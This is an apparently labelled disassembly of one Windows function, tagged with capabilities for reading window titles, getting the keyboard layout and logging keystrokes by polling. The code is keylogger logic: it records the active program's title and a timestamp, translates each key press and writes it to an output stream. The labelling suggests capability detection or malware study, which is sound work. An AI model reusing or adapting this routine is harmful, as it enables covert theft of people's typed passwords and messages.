Function at 0x1400111a9
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
jmp 0x140016c20
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x588
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xfa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x5a8]
mov rax, qword [0x14002b028]
xor rax, rbp
mov qword [rbp + 0x558], rax
mov byte [rbp + 0x544], 0
lea rcx, [0x1400320f5]
call fcn.14001185c
cmp dword [rbp + 0x580], 1
je 0x140016c80
cmp dword [rbp + 0x580], 2
jne 0x140016c87
xor eax, eax
jmp 0x140017102
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [rbp + 0x128], rax
cmp qword [rbp + 0x128], 0
je 0x140016da3
xor edx, edx
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [rbp + 0x144], eax
mov ecx, dword [rbp + 0x144]
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov byte [rbp + 0x544], 1
mov qword [rbp + 0x168], rax
mov r8d, 0x100
lea rdx, [rbp + 0x190]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.USER32.dll_GetWindowTextA]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x190]
call fcn.14001193d
test eax, eax
je 0x140016da3
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x10]
call fcn.140011938
xor ecx, ecx
call fcn.14001b1a0
mov qword [rbp + 0x2a8], rax
lea rcx, [rbp + 0x2a8]
call fcn.14001b000
mov qword [rbp + 0x2c8], rax
mov r9, qword [rbp + 0x2c8]
lea r8, [0x140026f2c]
mov edx, 0x40
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.ucrtbased.dll_strftime]
lea rdx, str._n_n_n_Program:
lea rcx, [0x14002b690]
call fcn.140011104
lea rdx, [rbp + 0x190]
mov rcx, rax
call fcn.140011104
lea rdx, str._DateTime:
mov rcx, rax
call fcn.140011104
lea rdx, [rbp + 0x2f0]
mov rcx, rax
call fcn.140011104
lea rdx, [0x140026f30]
mov rcx, rax
call fcn.140011104
mov edx, dword [rbp + 0x580]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140011050]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp dword [rbp + 0x580], 8
jne 0x140016de7
lea rdx, str._BACKSPACE_
lea rcx, [0x14002b690]
call fcn.140011104
jmp 0x1400170f3
cmp dword [rbp + 0x580], 0xd
jne 0x140016e08
lea rdx, [0x140026f68]
lea rcx, [0x14002b690]
call fcn.140011104
jmp 0x1400170f3
cmp dword [rbp + 0x580], 0x20
jne 0x140016e29
lea rdx, [0x140026f6c]
lea rcx, [0x14002b690]
call fcn.140011104
jmp 0x1400170f3
cmp dword [rbp + 0x580], 9
jne 0x140016e4a
lea rdx, str._TAB_
lea rcx, [0x14002b690]
call fcn.140011104
jmp 0x1400170f3
cmp dword [rbp + 0x580], 0x10
je 0x140016e6b
cmp dword [rbp + 0x580], 0xa0
je 0x140016e6b
cmp dword [rbp + 0x580], 0xa1
jne 0x140016e83
lea rdx, str._SHIFT_
lea rcx, [0x14002b690]
call fcn.140011104
jmp 0x1400170f3
cmp dword [rbp + 0x580], 0x11
je 0x140016ea4
cmp dword [rbp + 0x580], 0xa2
je 0x140016ea4
cmp dword [rbp + 0x580], 0xa3
jne 0x140016ebc
lea rdx, str._CTRL_
lea rcx, [0x14002b690]
call fcn.140011104
jmp 0x1400170f3
cmp dword [rbp + 0x580], 0x1b
jne 0x140016edd
lea rdx, str._ESC_
lea rcx, [0x14002b690]
call fcn.140011104
jmp 0x1400170f3
cmp dword [rbp + 0x580], 0x23
jne 0x140016efe
lea rdx, str._END_
lea rcx, [0x14002b690]
call fcn.140011104
jmp 0x1400170f3
cmp dword [rbp + 0x580], 0x24
jne 0x140016f1f
lea rdx, str._HOME_
lea rcx, [0x14002b690]
call fcn.140011104
jmp 0x1400170f3
cmp dword [rbp + 0x580], 0x27
jne 0x140016f40
lea rdx, str._RIGHT_
lea rcx, [0x14002b690]
call fcn.140011104
jmp 0x1400170f3
cmp dword [rbp + 0x580], 0x25
jne 0x140016f61
lea rdx, str._LEFT_
lea rcx, [0x14002b690]
call fcn.140011104
jmp 0x1400170f3
cmp dword [rbp + 0x580], 0x12
je 0x140016f82
cmp dword [rbp + 0x580], 0xa4
je 0x140016f82
cmp dword [rbp + 0x580], 0xa5
jne 0x140016f9a
lea rdx, str._ALT_
lea rcx, [0x14002b690]
call fcn.140011104
jmp 0x1400170f3
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 1
test eax, eax
je 0x140016fb9
mov dword [rbp + 0x554], 1
jmp 0x140016fc3
mov dword [rbp + 0x554], 0
movzx eax, byte [rbp + 0x554]
mov byte [rbp + 0x364], al
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x1000
test eax, eax
jne 0x14001700f
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x1000
test eax, eax
jne 0x14001700f
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x1000
test eax, eax
je 0x14001703d
movzx eax, byte [rbp + 0x364]
test eax, eax
jne 0x140017026
mov dword [rbp + 0x554], 1
jmp 0x140017030
mov dword [rbp + 0x554], 0
movzx eax, byte [rbp + 0x554]
mov byte [rbp + 0x364], al
cmp byte [rbp + 0x544], 0
jne 0x140017052
lea rcx, str.keyboardLayout
call fcn.14001115e
mov r8, qword [rbp + 0x168]
mov edx, 2
mov ecx, dword [rbp + 0x580]
call qword [sym.imp.USER32.dll_MapVirtualKeyExA]
mov byte [rbp + 0x344], al
mov dword [rbp + 0x384], 0x19
cmp byte [rbp + 0x544], 0
jne 0x14001708f
lea rcx, str.keyboardLayout
call fcn.14001115e
mov r8, qword [rbp + 0x168]
mov edx, 2
mov ecx, dword [rbp + 0x384]
call qword [sym.imp.USER32.dll_MapVirtualKeyExA]
mov dword [rbp + 0x3a4], eax
movzx edx, byte [rbp + 0x3a4]
lea rcx, [0x14002b690]
call fcn.140011677
movzx eax, byte [rbp + 0x364]
test eax, eax
jne 0x1400170e0
movsx eax, byte [rbp + 0x344]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_tolower]
mov byte [rbp + 0x344], al
movzx edx, byte [rbp + 0x344]
lea rcx, [0x14002b690]
call fcn.140011677
lea rcx, [0x14002b690]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140026100]
call fcn.140011708
mov rax, rdi
mov rcx, qword [rbp + 0x558]
xor rcx, rbp
call fcn.140011415
lea rsp, [rbp + 0x568]
pop rdi
pop rbp
ret